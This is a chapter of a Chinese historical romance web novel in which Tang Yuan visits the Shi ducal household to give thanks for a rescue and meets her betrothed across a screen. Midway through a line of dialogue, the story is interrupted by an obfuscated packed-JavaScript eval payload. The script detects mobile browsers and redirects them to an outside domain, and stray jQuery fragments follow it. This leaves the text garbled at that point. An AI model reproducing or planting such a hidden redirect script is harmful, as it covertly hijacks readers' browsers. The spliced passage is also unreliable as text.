早朝上,就南方水患由谁押送粮草赈灾吵得不可开交。
昔日的五皇子党、也就是如今的齐王一派和太子一派为了这个能博得名声、树立威望的差事互不相让,最终草草收场。
退朝之后,汤成砚和时大人一路说笑着走出了宫门,言语间多有抱歉之意。
时家老大已知道了昨夜发生的一切,然而应答间丝毫没有火气,反而夸赞汤家及时伸出援手,办事漂亮。
宫门外两家马车并排立着,汤成砚上车前似是才忽然想起:“救命之恩,还是要登门拜谢,时大人回见。”
“却之不恭,时某静候来访。”时家大哥冲他点点头,没有丝毫推辞。
汤成砚归家已经辰时末(九点前),管家前一夜就知道要去时家,早早便备好了东西等着了。
“大人,二小姐还跪着呢,可要让小姐先梳洗一番?”
昨日家中为了给时二公子留个好印象,在汤芫的穿着妆容上下足了功夫,一夜过去不知道成什么样了。
汤成砚停下脚步:“拾掇拾掇,穿着打扮要素雅,略施一层淡粉,让芫儿瞧着憔悴柔弱些。”
“是,老爷今日可要去刑部点卯?”管家关切道。
“暂时不用,明日、明日先去宫中谢恩,再去中书门下述职领官印勘合...最后才是去刑部拜上谒下,先用膳吧,夫人呢?”
管家顿了顿:“夫人去探望二小姐了。”
“唉、罢了罢了随她去吧。”
汤成砚有些恨铁不成钢,慈母多败儿这句话放在女儿身上也一样,自家夫人平日里十分拎得清,府里府外打理得井井有条,可碰上处罚孩子的事儿就总是不合时宜的心软。
祠堂中,母慈女孝。
封氏起床后才得知夫君晾了女儿一夜,还命人盯着她不让打盹,到了祠堂才发现看管之下,女儿不仅没睡还水米未进。
一时间心疼坏了,悄摸带了吃的进祠堂。
“夫人,”门外的丫鬟通传:“老爷命小姐收拾收拾,去公府一趟。”
封氏一愣,这是婚事继续的意思?
“知道了,一会儿就来。”
吃了些点心垫肚子的汤芫勉强打起几分精神,被人搀扶着回了自己院子。
汤成砚在前厅来回踱步,心里想着今日朝堂上的事有些入神,没留意自家闺女儿已经收拾妥帖。
“爹爹,女儿给爹爹请安。”
看着勉励维持行礼姿势的女儿,再打量打量她的装束和脸色,汤成砚总觉得女儿哪儿变了,往日这种时候女儿一定会拉着自己撒娇,大倒苦水。
今日倒是乖。
但这些细微的变化他并没有放在心上,只当时昨夜被吓着了。
“走吧,你娘已经在车上等着了。”
汤府门前静静地停着两辆马车,汤成砚放慢脚步和女儿一起出了门,看着女儿上了后面那一辆,他才放下帘子。
“走吧。”
“驾——”车夫挥鞭平稳的驾车向前。
时家。
“连廊那边去个人,地上的灰尘没扫干净。”外院的管事正盯着下人洒扫庭院:“皮都绷紧些、招子放亮点儿,今日登门的这位可容不得半点有失。”
“快点!”
国公府规矩森严,虽然疑惑今日是谁要登门但没人多嘴。
门房急步进门,逮着人就问:“管家在哪儿?”
管事一看这架势就知道正主来了,指向一旁:“管家在那边。”
“...时间有限、手上活儿都勤快些!”
汤成砚被迎进偏厅等候,汤芫和母亲去了内院,三人就此分开。
奉茶的丫鬟很快上茶:“二位稍等,先用茶,管家一会儿就来。”
汤芫回想着刚刚父亲的叮嘱,今日主要是登门致谢,顺带关心一下自己未婚夫的病情,行为举止收敛些,不要太过唐突。
于是安静的欣赏起了屋里的陈设。
头上悬挂着一幅赤金匾额,上书‘荣恩堂’,字迹苍劲有力,最要紧的事一旁的小字‘书赐时国公府’下方只留了年月,没有落款,年月处盖着一个醒目的红色印章。
...这字必定是出自皇帝之手,只是汤芫不清楚天干地支的年份分布,不知道这是出自哪一位皇帝的手笔。
但这份荣耀已经昭示了这公府和皇家的关系非同寻常。
——哪怕是外祖家都没有这样的殊荣。
这屋内的陈设算不得多豪华,却处处透着古朴大气,牌匾的正下方,还供着一根长枪,这杆枪和这厅堂格格不入,显得十分突兀。
“小姐可是有些好奇?”
见客人的视线落到枪上,伺候的小丫鬟浅浅一笑,见客人点头,立时无比自豪地介绍起这杆枪的来历。
“这枪名朱雀长八尺三寸,重六十二斤,是太祖早年征战天下时所用的配枪,荡平天下后,感念时家先祖的一路扶持,将这杆枪赏给了公府。”
封氏放下茶盏补充:“据说此杆枪上可打昏君宗亲、下可斩奸佞之臣,普天之下只此一杆。”
“原来这就是赫赫有名的朱雀,”汤芫眼里流露出赞赏,虽然此前并没有听说过这枪,但也不妨碍她赞不绝口:“闻名不如见面,这枪确实威武霸气雄浑苍劲。”
这话门外的时夫人听得真切,好话谁也不嫌多,于是在丫鬟的搀扶下笑意盈盈的进了门。
“汤姑娘才是好眼光,”时夫人挺着微微显怀的肚子,十分热切的的邀请:“男人们说男人们的事儿,咱们去后院坐坐?”
本来就是上门谢恩的,自然是客随主便,无所谓去哪儿的。
但封氏却赶紧站起来,一把将人扶住:“你怎么亲自来了,不是害喜得厉害吗?怎地不好生歇着?”
“去什么后院,你快些坐下,莫折煞我们母女,照我看咱们就在这儿说说话也挺好。”
她本就在生育一事上吃够了苦头,对着孕妇格外紧张,更何况这还是自己女儿未来的嫂子,更得看重些。
时夫人握着封氏的手,笑意不减:“谢过夫人体贴,咱们俩就在这儿说说话吧,女儿家的总归喜爱热闹些,院子里的秋菊开的正好,二姑娘不妨去赏赏花,别在这儿陪我们闷着了。”
汤芫还没忘记今日来此的目的,婉拒道:“不瞒时夫人,今日登门是为感谢贵府公子的救命之恩。”
她低下头,有些惭愧:“不知二公子可有好些?”
“这些事莫放在心上,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372747|184010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞧你都憔悴许多,”时夫人略带深意的说:“如此汤姑娘更该去花园走走了,全当散散心。”
这几乎就是明示了,花园里有谁并不难猜。
汤芫看向自己的母亲,封氏不着痕迹的轻轻颔首。
按理说私下让两人相见其实于理不合,但两人毕竟有婚约在身,又是救命的恩情,花园作为公共场合又是开放空间,远远的谢一句并不算失礼。
汤芫站起身,微微福了一礼:“多谢时夫人好意,那就恭敬不如从命了,芫儿告退。”
候在一旁的芳菲和另一位汤家丫鬟立刻跟上。
花园中一步一景,果然如时夫人所说,大片大片的菊花开的灿烂无比。
时夫人身边的大丫鬟亲自带路,对园子里的花如数家珍。
“这粉色的是桃花菊,因颜色似桃花而得名;那边儿高有七尺花朵硕大蓓蕾朱红花瓣如金的,是黄鹤翎为禁苑品种——外边十分少见...”
一路走过来,汤芫看了足有一二十种各色菊花,有的浓烈有的淡雅,各有千秋。
“亭子旁还有一株府中自行培养的、十分罕见的龙脑菊,其外叶纯白花瓣渐渐呈浅黄色,香气芬烈似龙脑十分独特。”丫鬟将人往亭子引。
“姑娘顺带去歇一歇,品一品府中新焙的菊花茶。”
亭子立在花园正中上面挂着的层层轻纱随风飘动,在团团菊花的妆点下倒是十分雅致。
将人带到,丫鬟下去备茶,汤芫见状哪儿还有不明白的,将自家跟来的两个丫头也支到了亭子外等着。
——距离不远不近,透过轻纱隐约能见着亭子里状况的同时,又听不见里面的人对话。
汤芫坐了下来,独自在亭子里品茶,等人的间隙里,欣赏起亭子正中间放着的一扇螺钿山水屏风。
这扇屏风除了画体部分由大小一致颜色各异的螺钿铺制而成,立柱用的也是用的名贵红木包裹,上刻云纹,镶嵌星星点点的玉石,和打磨细致的螺钿相互呼应,名贵豪奢又精致考究。
汤芫心中只剩下一个想法,不知这满院子名贵稀罕的菊花,能不能和这扇屏风等价?
以及...若是将之偷出去卖了,不知能买多少狗官的性命?
或者着上面的玉石抠下来...
“咳咳、”亭子外一阵轻咳打断了汤芫的浮想联翩。
正主来得太及时了,汤芫可惜的叹口气坐了回去。
隔着一扇屏风,她看不见对面的情形,只能根据细微的动静推测对方的动作。
凳子在地面上拖拽、这是落座了。
茶盏与茶杯的碰撞、这是在喝茶。
屏风两边的人谁都没有说话。
汤芫忍不住在心里吐槽,这是真能忍啊,昨夜在桥上好像也没听见他说什么。
——他不会有些耳背、反应慢半拍、不会游泳的同时,还有些哑巴吧?
这位公府的纨绔感觉上,好像、貌似有些不太聪明的样子。
汤芫沉思,看来传言不可信啊,这样的人能是纨绔?
“汤姑娘。”
沉浸在自己世界里的汤芫下意识应了一声:“嗯?什么事哑巴?”
“...”时钦:“在下不哑。”